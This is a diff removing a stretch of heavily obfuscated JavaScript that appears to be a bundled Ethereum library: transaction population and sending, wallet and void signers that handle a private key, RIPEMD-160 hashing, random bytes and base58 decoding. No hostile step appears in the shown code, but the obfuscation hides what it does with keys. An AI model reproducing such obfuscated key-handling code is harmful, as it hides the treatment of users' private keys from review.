- return _0x5a1409(this, _0x82c8a2);
- case 2:
- _0x4d2992 = _0x1137b4.sent;
- return _0x1137b4.abrupt("return", _0x4d2992);
- case 4:
- case "end":
- return _0x1137b4.stop();
- }
- }
- }, _0x4e900d, this);
- })), function (_0x572e73) {
- return _0x49572b.apply(this, arguments);
- })
- }, {
- key: "populateTransaction",
- value: (_0x354225 = _0x203d83(_0x4afc9d.mark(function _0x54d4c8(_0x427dfd) {
- var _0x55f98a;
- var _0x318a76;
- var _0x4d3f38;
- var _0xd3e01d;
- var _0x5bf368;
- var _0x3e56dc;
- var _0x5ed8c2;
- return _0x4afc9d.wrap(function (_0x102e03) {
- for (;;) {
- switch (_0x102e03.prev = _0x102e03.next) {
- case 0:
- _0x55f98a = _0x3c1d0c(this, "populateTransaction");
- _0x102e03.next = 3;
- return _0x5a1409(this, _0x427dfd);
- case 3:
- if (null != (_0x318a76 = _0x102e03.sent).nonce) {
- _0x102e03.next = 8;
- break;
- }
- _0x102e03.next = 7;
- return this.getNonce("pending");
- case 7:
- _0x318a76.nonce = _0x102e03.sent;
- case 8:
- if (null != _0x318a76.gasLimit) {
- _0x102e03.next = 12;
- break;
- }
- _0x102e03.next = 11;
- return this.estimateGas(_0x318a76);
- case 11:
- _0x318a76.gasLimit = _0x102e03.sent;
- case 12:
- _0x102e03.next = 14;
- return this.provider.getNetwork();
- case 14:
- if (_0x4d3f38 = _0x102e03.sent, null != _0x318a76.chainId ? _0x413a2d(_0x1d7273(_0x318a76.chainId) === _0x4d3f38.chainId, "transaction chainId mismatch", "tx.chainId", _0x427dfd.chainId) : _0x318a76.chainId = _0x4d3f38.chainId, _0xd3e01d = null != _0x318a76.maxFeePerGas || null != _0x318a76.maxPriorityFeePerGas, null == _0x318a76.gasPrice || 2 !== _0x318a76.type && !_0xd3e01d ? 0 !== _0x318a76.type && 1 !== _0x318a76.type || !_0xd3e01d || _0x413a2d(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", _0x427dfd) : _0x413a2d(false, "eip-1559 transaction do not support gasPrice", "tx", _0x427dfd), 2 !== _0x318a76.type && null != _0x318a76.type || null == _0x318a76.maxFeePerGas || null == _0x318a76.maxPriorityFeePerGas) {
- _0x102e03.next = 22;
- break;
- }
- _0x318a76.type = 2;
- _0x102e03.next = 34;
- break;
- case 22:
- if (0 !== _0x318a76.type && 1 !== _0x318a76.type) {
- _0x102e03.next = 30;
- break;
- }
- _0x102e03.next = 25;
- return _0x55f98a.getFeeData();
- case 25:
- _0x2b816d(null != (_0x5bf368 = _0x102e03.sent).gasPrice, "network does not support gasPrice", "UNSUPPORTED_OPERATION", {
- operation: "getGasPrice"
- });
- null == _0x318a76.gasPrice && (_0x318a76.gasPrice = _0x5bf368.gasPrice);
- _0x102e03.next = 34;
- break;
- case 30:
- _0x102e03.next = 32;
- return _0x55f98a.getFeeData();
- case 32:
- _0x3e56dc = _0x102e03.sent;
- null == _0x318a76.type ? null != _0x3e56dc.maxFeePerGas && null != _0x3e56dc.maxPriorityFeePerGas ? (_0x318a76.type = 2, null != _0x318a76.gasPrice ? (_0x5ed8c2 = _0x318a76.gasPrice, delete _0x318a76.gasPrice, _0x318a76.maxFeePerGas = _0x5ed8c2, _0x318a76.maxPriorityFeePerGas = _0x5ed8c2) : (null == _0x318a76.maxFeePerGas && (_0x318a76.maxFeePerGas = _0x3e56dc.maxFeePerGas), null == _0x318a76.maxPriorityFeePerGas && (_0x318a76.maxPriorityFeePerGas = _0x3e56dc.maxPriorityFeePerGas))) : null != _0x3e56dc.gasPrice ? (_0x2b816d(!_0xd3e01d, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", {
- operation: "populateTransaction"
- }), null == _0x318a76.gasPrice && (_0x318a76.gasPrice = _0x3e56dc.gasPrice), _0x318a76.type = 0) : _0x2b816d(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", {
- operation: "signer.getFeeData"
- }) : 2 === _0x318a76.type && (null == _0x318a76.maxFeePerGas && (_0x318a76.maxFeePerGas = _0x3e56dc.maxFeePerGas), null == _0x318a76.maxPriorityFeePerGas && (_0x318a76.maxPriorityFeePerGas = _0x3e56dc.maxPriorityFeePerGas));
- case 34:
- _0x102e03.next = 36;
- return _0x2cffce(_0x318a76);
- case 36:
- return _0x102e03.abrupt("return", _0x102e03.sent);
- case 37:
- case "end":
- return _0x102e03.stop();
- }
- }
- }, _0x54d4c8, this);
- })), function (_0x427e67) {
- return _0x354225.apply(this, arguments);
- })
- }, {
- key: "estimateGas",
- value: (_0x2947c9 = _0x203d83(_0x4afc9d.mark(function _0x2722d8(_0x44fa53) {
- return _0x4afc9d.wrap(function (_0x5d3c91) {
- for (;;) {
- switch (_0x5d3c91.prev = _0x5d3c91.next) {
- case 0:
- _0x5d3c91.t0 = _0x3c1d0c(this, "estimateGas");
- _0x5d3c91.next = 3;
- return this.populateCall(_0x44fa53);
- case 3:
- _0x5d3c91.t1 = _0x5d3c91.sent;
- return _0x5d3c91.abrupt("return", _0x5d3c91.t0.estimateGas.call(_0x5d3c91.t0, _0x5d3c91.t1));
- case 5:
- case "end":
- return _0x5d3c91.stop();
- }
- }
- }, _0x2722d8, this);
- })), function (_0x538129) {
- return _0x2947c9.apply(this, arguments);
- })
- }, {
- key: "call",
- value: (_0x2c6d75 = _0x203d83(_0x4afc9d.mark(function _0xc7b3de(_0x401379) {
- return _0x4afc9d.wrap(function (_0x1046b7) {
- for (;;) {
- switch (_0x1046b7.prev = _0x1046b7.next) {
- case 0:
- _0x1046b7.t0 = _0x3c1d0c(this, "call");
- _0x1046b7.next = 3;
- return this.populateCall(_0x401379);
- case 3:
- _0x1046b7.t1 = _0x1046b7.sent;
- return _0x1046b7.abrupt("return", _0x1046b7.t0.call.call(_0x1046b7.t0, _0x1046b7.t1));
- case 5:
- case "end":
- return _0x1046b7.stop();
- }
- }
- }, _0xc7b3de, this);
- })), function (_0x8e8762) {
- return _0x2c6d75.apply(this, arguments);
- })
- }, {
- key: "resolveName",
- value: (_0x3b8db7 = _0x203d83(_0x4afc9d.mark(function _0x117f77(_0x2311be) {
- var _0x2b8bbe;
- return _0x4afc9d.wrap(function (_0x7c9d2b) {
- for (;;) {
- switch (_0x7c9d2b.prev = _0x7c9d2b.next) {
- case 0:
- _0x2b8bbe = _0x3c1d0c(this, "resolveName");
- _0x7c9d2b.next = 3;
- return _0x2b8bbe.resolveName(_0x2311be);
- case 3:
- return _0x7c9d2b.abrupt("return", _0x7c9d2b.sent);
- case 4:
- case "end":
- return _0x7c9d2b.stop();
- }
- }
- }, _0x117f77, this);
- })), function (_0x47eb31) {
- return _0x3b8db7.apply(this, arguments);
- })
- }, {
- key: "sendTransaction",
- value: (_0x123e9c = _0x203d83(_0x4afc9d.mark(function _0x232571(_0x11d804) {
- var _0x20d0e2;
- var _0x13eb9d;
- var _0x3945e2;
- return _0x4afc9d.wrap(function (_0x1fa7b1) {
- for (;;) {
- switch (_0x1fa7b1.prev = _0x1fa7b1.next) {
- case 0:
- _0x20d0e2 = _0x3c1d0c(this, "sendTransaction");
- _0x1fa7b1.next = 3;
- return this.populateTransaction(_0x11d804);
- case 3:
- delete (_0x13eb9d = _0x1fa7b1.sent).from;
- _0x3945e2 = _0x5b44ed.from(_0x13eb9d);
- _0x1fa7b1.t0 = _0x20d0e2;
- _0x1fa7b1.next = 9;
- return this.signTransaction(_0x3945e2);
- case 9:
- _0x1fa7b1.t1 = _0x1fa7b1.sent;
- _0x1fa7b1.next = 12;
- return _0x1fa7b1.t0.broadcastTransaction.call(_0x1fa7b1.t0, _0x1fa7b1.t1);
- case 12:
- return _0x1fa7b1.abrupt("return", _0x1fa7b1.sent);
- case 13:
- case "end":
- return _0x1fa7b1.stop();
- }
- }
- }, _0x232571, this);
- })), function (_0x2577f0) {
- return _0x123e9c.apply(this, arguments);
- })
- }]);
- return _0x401e69;
- }();
- var _0x1e2529 = new WeakSet();
- var _0x859bdb = function (_0x1b6bf4) {
- _0x2e6032(_0x222e90, _0x1b6bf4);
- var _0x57d99e;
- var _0x2ca93b;
- var _0x2ea560;
- var _0x5d0dc5;
- var _0x1efbc7;
- _0x5d0dc5 = _0x222e90;
- _0x1efbc7 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x210d2e) {
- return false;
- }
- }();
- var _0x2e6402 = function () {
- var _0x5396ef;
- var _0x4be5de = _0x1cc855(_0x5d0dc5);
- if (_0x1efbc7) {
- var _0x41419a = _0x1cc855(this).constructor;
- _0x5396ef = Reflect.construct(_0x4be5de, arguments, _0x41419a);
- } else {
- _0x5396ef = _0x4be5de.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x5396ef);
- };
- function _0x222e90(_0x48b346, _0x1baae1) {
- var _0x1ba3cf;
- var _0x280d78;
- var _0x2ad5bf;
- _0x1d998d(this, _0x222e90);
- (function (_0x598e5c, _0x1a3e18) {
- if (_0x1a3e18.has(_0x598e5c)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- })(_0x280d78 = _0x3ea587(_0x1ba3cf = _0x2e6402.call(this, _0x1baae1)), _0x2ad5bf = _0x1e2529);
- _0x2ad5bf.add(_0x280d78);
- _0x713ed3(_0x3ea587(_0x1ba3cf), "address", undefined);
- _0x7e8dd6(_0x3ea587(_0x1ba3cf), {
- address: _0x48b346
- });
- return _0x1ba3cf;
- }
- _0x561e78(_0x222e90, [{
- key: "getAddress",
- value: (_0x2ea560 = _0x203d83(_0x4afc9d.mark(function _0x2f12bc() {
- return _0x4afc9d.wrap(function (_0x5e1216) {
- for (;;) {
- switch (_0x5e1216.prev = _0x5e1216.next) {
- case 0:
- return _0x5e1216.abrupt("return", this.address);
- case 1:
- case "end":
- return _0x5e1216.stop();
- }
- }
- }, _0x2f12bc, this);
- })), function () {
- return _0x2ea560.apply(this, arguments);
- })
- }, {
- key: "connect",
- value: function (_0x4d82a2) {
- return new _0x222e90(this.address, _0x4d82a2);
- }
- }, {
- key: "signTransaction",
- value: (_0x2ca93b = _0x203d83(_0x4afc9d.mark(function _0x99cebd(_0x54b0c5) {
- return _0x4afc9d.wrap(function (_0x1bd2c5) {
- for (;;) {
- switch (_0x1bd2c5.prev = _0x1bd2c5.next) {
- case 0:
- _0x2853c3(this, _0x1e2529, _0x110bfc).call(this, "transactions", "signTransaction");
- case 1:
- case "end":
- return _0x1bd2c5.stop();
- }
- }
- }, _0x99cebd, this);
- })), function (_0x20255c) {
- return _0x2ca93b.apply(this, arguments);
- })
- }, {
- key: "signMessage",
- value: (_0x57d99e = _0x203d83(_0x4afc9d.mark(function _0x2df5e0(_0x41f1eb) {
- return _0x4afc9d.wrap(function (_0x32a5f5) {
- for (;;) {
- switch (_0x32a5f5.prev = _0x32a5f5.next) {
- case 0:
- _0x2853c3(this, _0x1e2529, _0x110bfc).call(this, "messages", "signMessage");
- case 1:
- case "end":
- return _0x32a5f5.stop();
- }
- }
- }, _0x2df5e0, this);
- })), function (_0x522f39) {
- return _0x57d99e.apply(this, arguments);
- })
- }, {
- key: "signTypedData",
- value: function () {
- var _0x7f285f = _0x203d83(_0x4afc9d.mark(function _0x28741b(_0x43c17e, _0x26d0e9, _0xfb071f) {
- return _0x4afc9d.wrap(function (_0xaeff69) {
- for (;;) {
- switch (_0xaeff69.prev = _0xaeff69.next) {
- case 0:
- _0x2853c3(this, _0x1e2529, _0x110bfc).call(this, "typed-data", "signTypedData");
- case 1:
- case "end":
- return _0xaeff69.stop();
- }
- }
- }, _0x28741b, this);
- }));
- return function (_0x38699b, _0x46b41c, _0x5d0fc9) {
- return _0x7f285f.apply(this, arguments);
- };
- }()
- }]);
- return _0x222e90;
- }(_0x5e90aa);
- function _0x110bfc(_0x3f49eb, _0x3ff7b2) {
- _0x2b816d(false, "VoidSigner cannot sign ".concat(_0x3f49eb), "UNSUPPORTED_OPERATION", {
- operation: _0x3ff7b2
- });
- }
- var _0x2aaeb8 = new WeakMap();
- var _0x2b20c4 = function (_0x41ef24) {
- _0x2e6032(_0x36678e, _0x41ef24);
- var _0x356eb7;
- var _0x36bf39;
- var _0x54bef0;
- var _0x1b20f3;
- var _0x3eed60;
- _0x1b20f3 = _0x36678e;
- _0x3eed60 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x32bf3f) {
- return false;
- }
- }();
- var _0x230a94 = function () {
- var _0xab58c7;
- var _0xecf1d0 = _0x1cc855(_0x1b20f3);
- if (_0x3eed60) {
- var _0xd3245f = _0x1cc855(this).constructor;
- _0xab58c7 = Reflect.construct(_0xecf1d0, arguments, _0xd3245f);
- } else {
- _0xab58c7 = _0xecf1d0.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0xab58c7);
- };
- function _0x36678e(_0x413325, _0x31351e) {
- var _0x183014;
- var _0xaa114d;
- var _0x24c401;
- var _0x3b71b0;
- _0x1d998d(this, _0x36678e);
- _0x713ed3(_0x3ea587(_0x183014 = _0x230a94.call(this, _0x31351e)), "address", undefined);
- _0xaa114d = _0x3ea587(_0x183014);
- _0x3b71b0 = {
- writable: true,
- value: undefined
- };
- (function (_0x4ccbcd, _0x51188f) {
- if (_0x51188f.has(_0x4ccbcd)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- })(_0xaa114d, _0x24c401 = _0x2aaeb8);
- _0x24c401.set(_0xaa114d, _0x3b71b0);
- _0x413a2d(_0x413325 && "function" == typeof _0x413325.sign, "invalid private key", "privateKey", "[ REDACTED ]");
- _0x207f54(_0x3ea587(_0x183014), _0x2aaeb8, _0x413325);
- var _0x20f84d = _0x1f62c(_0x183014.signingKey.publicKey);
- _0x7e8dd6(_0x3ea587(_0x183014), {
- address: _0x20f84d
- });
- return _0x183014;
- }
- _0x561e78(_0x36678e, [{
- key: "signingKey",
- get: function () {
- return _0x46b89d(this, _0x2aaeb8);
- }
- }, {
- key: "privateKey",
- get: function () {
- return this.signingKey.privateKey;
- }
- }, {
- key: "getAddress",
- value: (_0x54bef0 = _0x203d83(_0x4afc9d.mark(function _0xb84132() {
- return _0x4afc9d.wrap(function (_0x1641b3) {
- for (;;) {
- switch (_0x1641b3.prev = _0x1641b3.next) {
- case 0:
- return _0x1641b3.abrupt("return", this.address);
- case 1:
- case "end":
- return _0x1641b3.stop();
- }
- }
- }, _0xb84132, this);
- })), function () {
- return _0x54bef0.apply(this, arguments);
- })
- }, {
- key: "connect",
- value: function (_0x5628ea) {
- return new _0x36678e(_0x46b89d(this, _0x2aaeb8), _0x5628ea);
- }
- }, {
- key: "signTransaction",
- value: (_0x36bf39 = _0x203d83(_0x4afc9d.mark(function _0x4a7157(_0x17de2d) {
- var _0x370f43;
- var _0x3c901b;
- var _0x19a038;
- var _0x14c525;
- return _0x4afc9d.wrap(function (_0x4c2dcf) {
- for (;;) {
- switch (_0x4c2dcf.prev = _0x4c2dcf.next) {
- case 0:
- _0x4c2dcf.next = 2;
- return _0x2cffce({
- to: _0x17de2d.to ? _0x39f31f(_0x17de2d.to, this.provider) : undefined,
- from: _0x17de2d.from ? _0x39f31f(_0x17de2d.from, this.provider) : undefined
- });
- case 2:
- _0x370f43 = _0x4c2dcf.sent;
- _0x3c901b = _0x370f43.to;
- _0x19a038 = _0x370f43.from;
- null != _0x3c901b && (_0x17de2d.to = _0x3c901b);
- null != _0x19a038 && (_0x17de2d.from = _0x19a038);
- null != _0x17de2d.from && (_0x413a2d(_0x46447e(_0x17de2d.from) === this.address, "transaction from address mismatch", "tx.from", _0x17de2d.from), delete _0x17de2d.from);
- (_0x14c525 = _0x5b44ed.from(_0x17de2d)).signature = this.signingKey.sign(_0x14c525.unsignedHash);
- return _0x4c2dcf.abrupt("return", _0x14c525.serialized);
- case 11:
- case "end":
- return _0x4c2dcf.stop();
- }
- }
- }, _0x4a7157, this);
- })), function (_0x304d66) {
- return _0x36bf39.apply(this, arguments);
- })
- }, {
- key: "signMessage",
- value: (_0x356eb7 = _0x203d83(_0x4afc9d.mark(function _0xbfac1a(_0x23fb05) {
- return _0x4afc9d.wrap(function (_0x3fd2ca) {
- for (;;) {
- switch (_0x3fd2ca.prev = _0x3fd2ca.next) {
- case 0:
- return _0x3fd2ca.abrupt("return", this.signMessageSync(_0x23fb05));
- case 1:
- case "end":
- return _0x3fd2ca.stop();
- }
- }
- }, _0xbfac1a, this);
- })), function (_0x51eddf) {
- return _0x356eb7.apply(this, arguments);
- })
- }, {
- key: "signMessageSync",
- value: function (_0x2c7157) {
- return this.signingKey.sign(function (_0x36db4c) {
- "string" == typeof _0x36db4c && (_0x36db4c = _0x1667a1(_0x36db4c));
- return _0xa68238(_0x251cd2([_0x1667a1(_0x3ae8c2), _0x1667a1(String(_0x36db4c.length)), _0x36db4c]));
- }(_0x2c7157)).serialized;
- }
- }, {
- key: "signTypedData",
- value: function () {
- var _0x5c8e44 = _0x203d83(_0x4afc9d.mark(function _0x557574(_0x38b383, _0x43e3a6, _0x3b9106) {
- var _0x3a84ca;
- var _0x4657dd = this;
- return _0x4afc9d.wrap(function (_0x29a0de) {
- for (;;) {
- switch (_0x29a0de.prev = _0x29a0de.next) {
- case 0:
- _0x29a0de.next = 2;
- return _0x2b8763.resolveNames(_0x38b383, _0x43e3a6, _0x3b9106, function () {
- var _0x5ca7a2 = _0x203d83(_0x4afc9d.mark(function _0x1a84c6(_0xa2e9d8) {
- var _0x52a412;
- return _0x4afc9d.wrap(function (_0x2dc4b5) {
- for (;;) {
- switch (_0x2dc4b5.prev = _0x2dc4b5.next) {
- case 0:
- _0x2b816d(null != _0x4657dd.provider, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", {
- operation: "resolveName",
- info: {
- name: _0xa2e9d8
- }
- });
- _0x2dc4b5.next = 3;
- return _0x4657dd.provider.resolveName(_0xa2e9d8);
- case 3:
- _0x2b816d(null != (_0x52a412 = _0x2dc4b5.sent), "unconfigured ENS name", "UNCONFIGURED_NAME", {
- value: _0xa2e9d8
- });
- return _0x2dc4b5.abrupt("return", _0x52a412);
- case 6:
- case "end":
- return _0x2dc4b5.stop();
- }
- }
- }, _0x1a84c6);
- }));
- return function (_0x5a47d0) {
- return _0x5ca7a2.apply(this, arguments);
- };
- }());
- case 2:
- _0x3a84ca = _0x29a0de.sent;
- return _0x29a0de.abrupt("return", this.signingKey.sign(_0x2b8763.hash(_0x3a84ca.domain, _0x43e3a6, _0x3a84ca.value)).serialized);
- case 4:
- case "end":
- return _0x29a0de.stop();
- }
- }
- }, _0x557574, this);
- }));
- return function (_0x48eeb1, _0x38d4d7, _0x43d719) {
- return _0x5c8e44.apply(this, arguments);
- };
- }()
- }]);
- return _0x36678e;
- }(_0x5e90aa);
- const _0xef0684 = new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]);
- const _0x5b05b7 = Uint8Array.from({
- length: 16
- }, (_0x31eb58, _0x421333) => _0x421333);
- const _0x584cb5 = _0x5b05b7.map(_0xf585c3 => (9 * _0xf585c3 + 5) % 16);
- let _0x246f27 = [_0x5b05b7];
- let _0x54abe6 = [_0x584cb5];
- for (let _0x2580c7 = 0; _0x2580c7 < 4; _0x2580c7++) {
- for (let _0x4c622f of [_0x246f27, _0x54abe6]) _0x4c622f.push(_0x4c622f[_0x2580c7].map(_0xc09501 => _0xef0684[_0xc09501]));
- }
- const _0x151d49 = [[11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5]].map(_0x3f8f69 => new Uint8Array(_0x3f8f69));
- const _0x3ac480 = _0x246f27.map((_0x124e35, _0x71c90b) => _0x124e35.map(_0x455f87 => _0x151d49[_0x71c90b][_0x455f87]));
- const _0x4f40c9 = _0x54abe6.map((_0xbfc04f, _0x38e789) => _0xbfc04f.map(_0x5c5e2b => _0x151d49[_0x38e789][_0x5c5e2b]));
- const _0x3a7f36 = new Uint32Array([0, 1518500249, 1859775393, 2400959708, 2840853838]);
- const _0xc403f7 = new Uint32Array([1352829926, 1548603684, 1836072691, 2053994217, 0]);
- const _0x338301 = (_0x325950, _0x20eb71) => _0x325950 << _0x20eb71 | _0x325950 >>> 32 - _0x20eb71;
- function _0x3cd675(_0x2f4803, _0x27d768, _0x586aac, _0x3cc833) {
- return 0 === _0x2f4803 ? _0x27d768 ^ _0x586aac ^ _0x3cc833 : 1 === _0x2f4803 ? _0x27d768 & _0x586aac | ~_0x27d768 & _0x3cc833 : 2 === _0x2f4803 ? (_0x27d768 | ~_0x586aac) ^ _0x3cc833 : 3 === _0x2f4803 ? _0x27d768 & _0x3cc833 | _0x586aac & ~_0x3cc833 : _0x27d768 ^ (_0x586aac | ~_0x3cc833);
- }
- const _0x201281 = new Uint32Array(16);
- class _0x26f24a extends _0xf3db28 {
- constructor() {
- super(64, 20, 8, true);
- this.h0 = 1732584193;
- this.h1 = -271733879;
- this.h2 = -1732584194;
- this.h3 = 271733878;
- this.h4 = -1009589776;
- }
- get() {
- const {
- h0: _0x60b475,
- h1: _0x2142b5,
- h2: _0x13dc31,
- h3: _0xef54ae,
- h4: _0x244a2c
- } = this;
- return [_0x60b475, _0x2142b5, _0x13dc31, _0xef54ae, _0x244a2c];
- }
- set(_0x387011, _0x2b94ca, _0x584a1f, _0x11c748, _0x186aac) {
- this.h0 = 0 | _0x387011;
- this.h1 = 0 | _0x2b94ca;
- this.h2 = 0 | _0x584a1f;
- this.h3 = 0 | _0x11c748;
- this.h4 = 0 | _0x186aac;
- }
- process(_0x4db68b, _0x14dd57) {
- for (let _0xe3ad7d = 0; _0xe3ad7d < 16; _0xe3ad7d++, _0x14dd57 += 4) {
- _0x201281[_0xe3ad7d] = _0x4db68b.getUint32(_0x14dd57, true);
- }
- let _0x5c9842 = 0 | this.h0;
- let _0x46fd3b = _0x5c9842;
- let _0x5984b1 = 0 | this.h1;
- let _0x2f44e1 = _0x5984b1;
- let _0x20e514 = 0 | this.h2;
- let _0x2016aa = _0x20e514;
- let _0x35f070 = 0 | this.h3;
- let _0x3cb0ad = _0x35f070;
- let _0x240354 = 0 | this.h4;
- let _0x13da4e = _0x240354;
- for (let _0x24f99c = 0; _0x24f99c < 5; _0x24f99c++) {
- const _0x36cd9a = 4 - _0x24f99c;
- const _0x4a55fd = _0x3a7f36[_0x24f99c];
- const _0x47e711 = _0xc403f7[_0x24f99c];
- const _0x4851e8 = _0x246f27[_0x24f99c];
- const _0x3bfbd8 = _0x54abe6[_0x24f99c];
- const _0x2e7440 = _0x3ac480[_0x24f99c];
- const _0x523471 = _0x4f40c9[_0x24f99c];
- for (let _0x3254df = 0; _0x3254df < 16; _0x3254df++) {
- const _0xc8003c = _0x338301(_0x5c9842 + _0x3cd675(_0x24f99c, _0x5984b1, _0x20e514, _0x35f070) + _0x201281[_0x4851e8[_0x3254df]] + _0x4a55fd, _0x2e7440[_0x3254df]) + _0x240354 | 0;
- _0x5c9842 = _0x240354;
- _0x240354 = _0x35f070;
- _0x35f070 = 0 | _0x338301(_0x20e514, 10);
- _0x20e514 = _0x5984b1;
- _0x5984b1 = _0xc8003c;
- }
- for (let _0x4bf35c = 0; _0x4bf35c < 16; _0x4bf35c++) {
- const _0x5a2265 = _0x338301(_0x46fd3b + _0x3cd675(_0x36cd9a, _0x2f44e1, _0x2016aa, _0x3cb0ad) + _0x201281[_0x3bfbd8[_0x4bf35c]] + _0x47e711, _0x523471[_0x4bf35c]) + _0x13da4e | 0;
- _0x46fd3b = _0x13da4e;
- _0x13da4e = _0x3cb0ad;
- _0x3cb0ad = 0 | _0x338301(_0x2016aa, 10);
- _0x2016aa = _0x2f44e1;
- _0x2f44e1 = _0x5a2265;
- }
- }
- this.set(this.h1 + _0x20e514 + _0x3cb0ad | 0, this.h2 + _0x35f070 + _0x13da4e | 0, this.h3 + _0x240354 + _0x46fd3b | 0, this.h4 + _0x5c9842 + _0x2f44e1 | 0, this.h0 + _0x5984b1 + _0x2016aa | 0);
- }
- roundClean() {
- _0x201281.fill(0);
- }
- destroy() {
- this.destroyed = true;
- this.buffer.fill(0);
- this.set(0, 0, 0, 0, 0);
- }
- }
- const _0x5ff7e3 = _0xef64ce(() => new _0x26f24a());
- var _0x173389 = false;
- var _0x2850cf = function (_0x4e7449) {
- return _0x5ff7e3(_0x4e7449);
- };
- var _0x14aec6 = _0x2850cf;
- function _0x12cc3d(_0x56230c) {
- var _0x9467a9 = _0x2565f8(_0x56230c, "data");
- return _0x192257(_0x14aec6(_0x9467a9));
- }
- _0x12cc3d._ = _0x2850cf;
- _0x12cc3d.lock = function () {
- _0x173389 = true;
- };
- _0x12cc3d.register = function (_0x4f6029) {
- if (_0x173389) {
- throw new TypeError("ripemd160 is locked");
- }
- _0x14aec6 = _0x4f6029;
- };
- Object.freeze(_0x12cc3d);
- var _0x4f5f73 = false;
- var _0x4de18f = function (_0x156577) {
- return new Uint8Array(function (_0x3d6bc1) {
- _0x2b816d(null != _0x5e34e2, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", {
- operation: "randomBytes"
- });
- _0x413a2d(Number.isInteger(_0x3d6bc1) && _0x3d6bc1 > 0 && _0x3d6bc1 <= 1024, "invalid length", "length", _0x3d6bc1);
- var _0x38dd1f = new Uint8Array(_0x3d6bc1);
- _0x5e34e2.getRandomValues(_0x38dd1f);
- return _0x38dd1f;
- }(_0x156577));
- };
- var _0x37bda3 = _0x4de18f;
- function _0x28446a(_0x56399f) {
- return _0x37bda3(_0x56399f);
- }
- _0x28446a._ = _0x4de18f;
- _0x28446a.lock = function () {
- _0x4f5f73 = true;
- };
- _0x28446a.register = function (_0x42c49e) {
- if (_0x4f5f73) {
- throw new Error("randomBytes is locked");
- }
- _0x37bda3 = _0x42c49e;
- };
- Object.freeze(_0x28446a);
- var _0x2e6f88 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
- var _0x4739bb = null;
- function _0x109300(_0xe2a9cc) {
- if (null == _0x4739bb) {
- _0x4739bb = {};
- for (var _0x18ba74 = 0; _0x18ba74 < _0x2e6f88.length; _0x18ba74++) {
- _0x4739bb[_0x2e6f88[_0x18ba74]] = BigInt(_0x18ba74);
- }
- }
- var _0x9e8425 = _0x4739bb[_0xe2a9cc];
- _0x413a2d(null != _0x9e8425, "invalid base58 value", "letter", _0xe2a9cc);
- return _0x9e8425;
- }
- var _0x258f1a;
- var _0x17eb17;
- var _0x8be7d4;
- var _0x4d18b3 = BigInt(0);
- var _0x1dfbb2 = BigInt(58);
- var _0x17be42 = function (_0x1a0a9d, _0x41f3bc, _0x4d5c14, _0x160f42) {
- if ("a" === _0x4d5c14 && !_0x160f42) {
- throw new TypeError("Private accessor was defined without a getter");
- }
- if ("function" == typeof _0x41f3bc ? _0x1a0a9d !== _0x41f3bc || !_0x160f42 : !_0x41f3bc.has(_0x1a0a9d)) {
- throw new TypeError("Cannot read private member from an object whose class did not declare it");
- }
- return "m" === _0x4d5c14 ? _0x160f42 : "a" === _0x4d5c14 ? _0x160f42.call(_0x1a0a9d) : _0x160f42 ? _0x160f42.value : _0x41f3bc.get(_0x1a0a9d);
- };
- var _0x3ad650 = function (_0x1dcbd2, _0x5501c7, _0x1f6e46, _0x8bed81, _0x4b3140) {
- if ("m" === _0x8bed81) {
- throw new TypeError("Private method is not writable");
- }
- if ("a" === _0x8bed81 && !_0x4b3140) {
- throw new TypeError("Private accessor was defined without a setter");
- }
- if ("function" == typeof _0x5501c7 ? _0x1dcbd2 !== _0x5501c7 || !_0x4b3140 : !_0x5501c7.has(_0x1dcbd2)) {
- throw new TypeError("Cannot write private member to an object whose class did not declare it");
- }
- "a" === _0x8bed81 ? _0x4b3140.call(_0x1dcbd2, _0x1f6e46) : _0x4b3140 ? _0x4b3140.value = _0x1f6e46 : _0x5501c7.set(_0x1dcbd2, _0x1f6e46);
- return _0x1f6e46;
- };
- const _0x3d92e4 = {
- 16: 10,
- 24: 12,
- 32: 14
- };
- const _0x365a84 = [1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145];
